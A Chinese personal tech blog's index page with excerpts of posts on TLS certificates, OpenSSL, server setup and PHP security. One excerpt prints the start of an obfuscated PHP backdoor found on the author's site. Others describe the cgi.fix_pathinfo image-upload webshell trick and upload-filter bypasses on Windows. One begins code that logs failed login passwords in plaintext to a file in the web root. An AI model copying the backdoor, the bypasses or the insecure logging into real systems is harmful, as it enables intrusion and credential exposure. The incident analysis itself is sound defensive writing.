对一次网络攻击的调查(及教训)

2018年5月18日,我偶然发现自己的博客的404页面上出现了一串奇怪的数字。它的一部分被某些HTML元素遮挡了,但我还是通过浏览器的开发者工具得到了它——8194460 接下来我做了一件大错特错的事——在Wordpress中将Wordpress和官方的主题全都更新了,这直接使得很多证据丢失了。 反混淆 我透过SSH连接至主机,发现站点根目录下多了一个名为assets的目录,而下载WordPress本身是不含这个目录的。其中只有一个文件(assets/picture/accesson.php),内容如下: <?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."

SSL

使用acme.sh签发Let's Encrypt通配符证书

12小时前,Let's Encrypt发文称,在经过一系列调整后,正式的ACMEv2后端以及通配符证书已被支持。 acme.sh已支持测试版ACMEv2协议及通配符证书,如今只需去掉命令行中的--test便可签发有效证书。 通配符证书对应域名的所有权无法在通过HTTP进行验证,故ACMEv2采用DNS来验证申请者对域名的所有权,为此需要对该顶级域名添加一条TXT DNS记录。为提高自动化程度,acme.sh和CertBot等支持ACMEv2的工具利用DNS服务商的API来添加与(完成验证后)删除DNS记录。 本文以CloudFlare和acme.sh为例。 首先,我们需获取Cloudflare的API Key,并于Cloudflare账号所对应的E-Mail一并导出为环境变量。登录Cloudflare账户后,访问https://www.cloudflare.com/a/profile ,点击Global API Key一栏的View

PHP

Windows帮助骇客绕过针对文件上传的限制

一套需要文件上传功能的、PHP编写的程序运行于Windows Server+Apache平台,屡次被上传"小马"。 这套系统采用.*\.(php|phar|phtml|jsp)$来匹配任何不应被上传的文件。 注:这套系统曾使用JSP编写,经历代码重构后,(出于SEO的需求)为保证固定链接不改变,部分PHP文件被命名为.jsp,服务器也会将.jsp交给php-fpm处理,故须禁止上传.jsp文件。 注2:我个人认为,应该使用Apache的rewrite功能来实现'URL不更改'(将访问example.jsp的请求内部重定向至example.php),而不是将php文件命名为jsp——前者是业内通用做法,

http/2

编译支持HTTP/2的cURL

Ubuntu 16.04的软件源所提供的curl不支持http/2。为支持http/2,需自行编译curl。 为确保支持ALPN(如不支持则无法与一个现代的http服务器协商至http/2),使用OpenSSL作为SSL库。 OpenSSL要使用1.0.2或1.1.0(1.1.1_dev)版本,否则不支持ALPN。 通过软件源安装curl时,它的其他依赖也被安装,且路径已在/etc/ld.so.conf中,无论编译时还是运行时都可找到并调用。故无需对其他依赖的库做任何处理 curl通过libnghttp2库来支持http/2,

Linux

非交互Shell有时更好用

几天前看了一篇介绍ZSH的文章,打算尝试用zsh替换bash。 不料更换shell时出现失误,将chsh -s /bin/zsh误写作chsh -s /zsh,导致root没有可用的shell。 接下来我试图再次使用chsh将shell该回去,系统却已无反应。断开SSH重新连接,由于没有shell,都无法登录。 进入VPS的管理后台,使用基于VNC的交互式Shell也出现同样情况(无法登录)。然而,这家IDC的后台还提供了非交互式的shell(手打一行命令按回车执行,不能使用vim等具有交互界面的程序)。 由于无法使用任何文本编辑器(它们都有交互界面),因此我试图先执行cat /etc/passwd以检视各用户的shell,再执行sed -i 's/\/zsh/\/bin\/bash/

OpenSSL

[openssl enc]的前向兼容性问题

使用openssl enc命令进行解密时,如同时满足以下两个条件,会导致解密失败或得到内容与原内容不一致: 加密和解密时使用的OpenSSL版本不同,且一个是1.0.2及以下版本,另一个是1.1.0及以上版本 加密时使用密码生成密钥,而不是指定HEX格式的密钥(及IV*1) 检索OpenSSL的更新日志可知,从1.0.2h更新至1.1.0(系列)时,openssl dgst和openssl enc命令的默认摘要算法由MD5改为SHA256: Changes between 1.0.2h and 1.

OpenSSL

CHACHA20 Patch for OpenSSL 1.1.1-dev

修改过的s3_lib.c和生成的.patch文件皆已发表至Github(https://github.com/Hardrain980/sslconfig_openssl_1.1.1) CloudFlare提供了用于OpenSSL 1.0.2和1.1.0的CHACHA20 Patch。 对于原生不支持CHACHA20的OpenSSL 1.0.2,打Patch可令其支持CHACHA20并在不支持AES指令集的设备上优先使用CHACHA20加密套件 对于原生支持CHACHA20的OpenSSL 1.1.0,打Patch可令其在不支持AES指令集的设备上优先使用CHACHA20加密套件 CloudFlare提供的Patch的OpenSSL 1.1.

SSL

惊闻StartCom之死

数日前浏览V2ex时,见有人转载这样一条新闻,大意是:StartCom宣布停止其数字证书业务。 回想当年,没有Let's Encrypt这个免费且全自动签发的CA之前,StartCom曾为万千个人站长提供1年免费的SSL证书,令访客可以更安全地连接到网站。 然而,臭名昭著的沃通,或者其背后的金主奇虎360公司,作为被StartCom签名的Intermediate CA,先是逆向收购了StartCom,其后又做出一系列极低水平、极不负责任的行为,包括但不限于: 利用倒填生效日期(ValidAfter)规避浏览器对新签发的SHA-1证书的限制(提示"不安全"等) 申请二级域名证书(如demo.github.io)可同时获得根域名(如github.io)

mysql

使用Stunnel为MySQL Server建立SSL隧道

笔者接手的一个项目有如下需求: 两台主机A和B,A上运行一个MySQL服务器和一套基于PHP的、以MySQL为数据库的CMS;B上除MySQL服务器外,其他皆与A相同。 要求B能安全地(通过SSL)连接A上的MySQL服务器,而这个CMS本身不支持MySQL over SSL Stunnel可以提供一个安全的SSL隧道,理论上可以承载任何应用层协议——包括MySQL。 以下操作在A和B上执行。 OpenSSL的目录需根据实际情况设置,Stunnel最高支持OpenSSL 1.1.1-dev tar zxvf stunnel-5.44.tar.gz cd stunnel-5.44/ #编译安装至/opt/stunnel,

vsftpd

vsftpd配置chroot

原文来自我的博客,发表于2016/12/03,故文章中所提及的相对时间皆以此为原点。 鉴于信息技术类文章搬家计划,将其由主站移动至此。 一个半月前我曾为所在大学的英语课提供了网盘的镜像。博客上一篇文章便是记述配置网页程序与SSL的过程。如今,原先使用的360云盘不再允许上传文件,这个镜像或将成为主力…… 这次配置是为达到以下目的 为教师提供单独用户,使教师能直接管理内容 教师用户不能访问或修改./USTB_English的上级目录及其中内容 这与虚拟主机提供商的需求十分相似——让一个用户只能通过FTP访问、修改自己的文件. vsftpd所提供的chroot功能便可实现,官方对此功能给出了如下解释: Place local users in a chroot() jail in their home

Stupid GoGetSSL

数天前,我在GoGetSSL购买了一张RapidSSL的单域名SSL证书。 注册时,由于其可能采用WHMCS,公司相关信息不填写无法进入下一步,出于我当前身份是学生和自由职业者,不受雇于任何公司或企业,这些Boxes我填写的都是No 这导致了我在昨天和今天连续收到GoGetSSL发来的两封电邮: 昨天的: ********Dear Customer, Our Security Department performed the security check of your account and found fake information was provided. Company: No City: No Address:

Apache

用mod_substitute解决网站搬家中的玄学问题

给一个Typecho建的站搬家,从域名A换到域名B。 起初一切顺利,搬家后在Typecho的设置里也修改了地址(Typecho使用的是绝对路径,若不修改,页面上的链接还是指向域名A)。可主题的CSS等加载的地址却还是域名A,没有变成域名B。 由于不能加载CSS、JS等,导致网页排版错乱。折腾了许久也未能解决。 而后却发现可以直接用HTTP服务器的配置来解决——Apache的一个模块,mod_substitute,就是用于替换HTTP报文中的指定内容。 阅读官方文档后,经实践,在...块之间添加如下内容,即可解决。 SetOutputFilter SUBSTITUTE Substitute "s|{域名A}|{域名B}|ni" 当然,

启用HTTPS的意外收获

今天检查网站日志,发现一个脚本小孩试图用工具,针对我的主站(hardrain980.com)进行WebShell扫描。 而为何说他可笑呢,因为他的工具/脚本根本不支持HTTPS! 如今信息安全与隐私权越来越被重视,加之可以免费issue证书的CA出现,越来越多网站开始使用SSL/TLS(HTTPS)来使用户可以与之建立安全的连接。在HTTPS普及的大背景下,这个脚本小孩是何等的可笑? 从何看出呢? 因为他向一些不存在的、名称奇怪的、以.php/.asp(x)结尾的路径发起请求,这显然是在试图寻找别人上传好的后门。然而在一个状态码为301的HTTP请求后,再没有出现同IP对同路径的HTTPS请求。 这是启用SSL的意外好处吗?

OpenSSL

用OpenSSL建立ECDSA (ECC) CA

本文中所用主要方法,取自https://jamielinux.com/docs/openssl-certificate-authority/ 但有所修改. 用于管理CA的系统安装于虚拟机,配置如下: Ubuntu 16.04.3 LTS(Server) 要启用OpenSSH-Server,即sshd,以在主机上透过SSH访问 需要OpenSSL,可以使用自带的1.0.2g版本,我使用的是自行编译的1.1.0f版本,故下文所涉及的椭圆曲线列表可能有差异 本文中一切在用于CA主机上的操作均使用root用户 单核心处理器 256MiB内存 8GiB硬盘 直连模式的虚拟网卡 必须将虚拟网卡的模式由"

PHP的cgi.fix_pathinfo与安全漏洞

0x01.背景 PHP的配置文件中有一个Boolean参数——cgi.fix_pathinfo,其默认为1,即启用。 这个选项在一些服务器的一些情况下能被不怀好意者利用,具体方法如下 服务器具有上传点,且检查文件类型仅基于扩展名,而非Mime Type或文件内容。 骇客上传一个PHP的WebShell或其他恶意程序,但名为malicious.jpg,其被上传至{wwwroot}/upload/malicious.jpg 骇客访问{domain}/upload/malicious.jpg/not_exist.php(not_exist.php可被替换为*

将WordPress错误登录者信息记录到本地文件

在使用上一个主机时,我是用发邮件到管理员邮箱的方式来知晓WordPress后台被尝试使用错误的用户名/密码组合(下称:凭据)登陆 但这个主机上由于sendmail未配置好,无法发送电邮。为了知晓暴力破解者尝试了什么凭据,只能退而求其次,将其记录在文件里。 将如下内容添加至当前主题/任何一个已启用的插件的function.php中,便可将使用错误凭据的登录者的信息记录在{站点根目录}/badlogin.log function wp_log_faillogin() { date_default_timezone_set("PRC"); $badname = $_POST['log']; $badpswd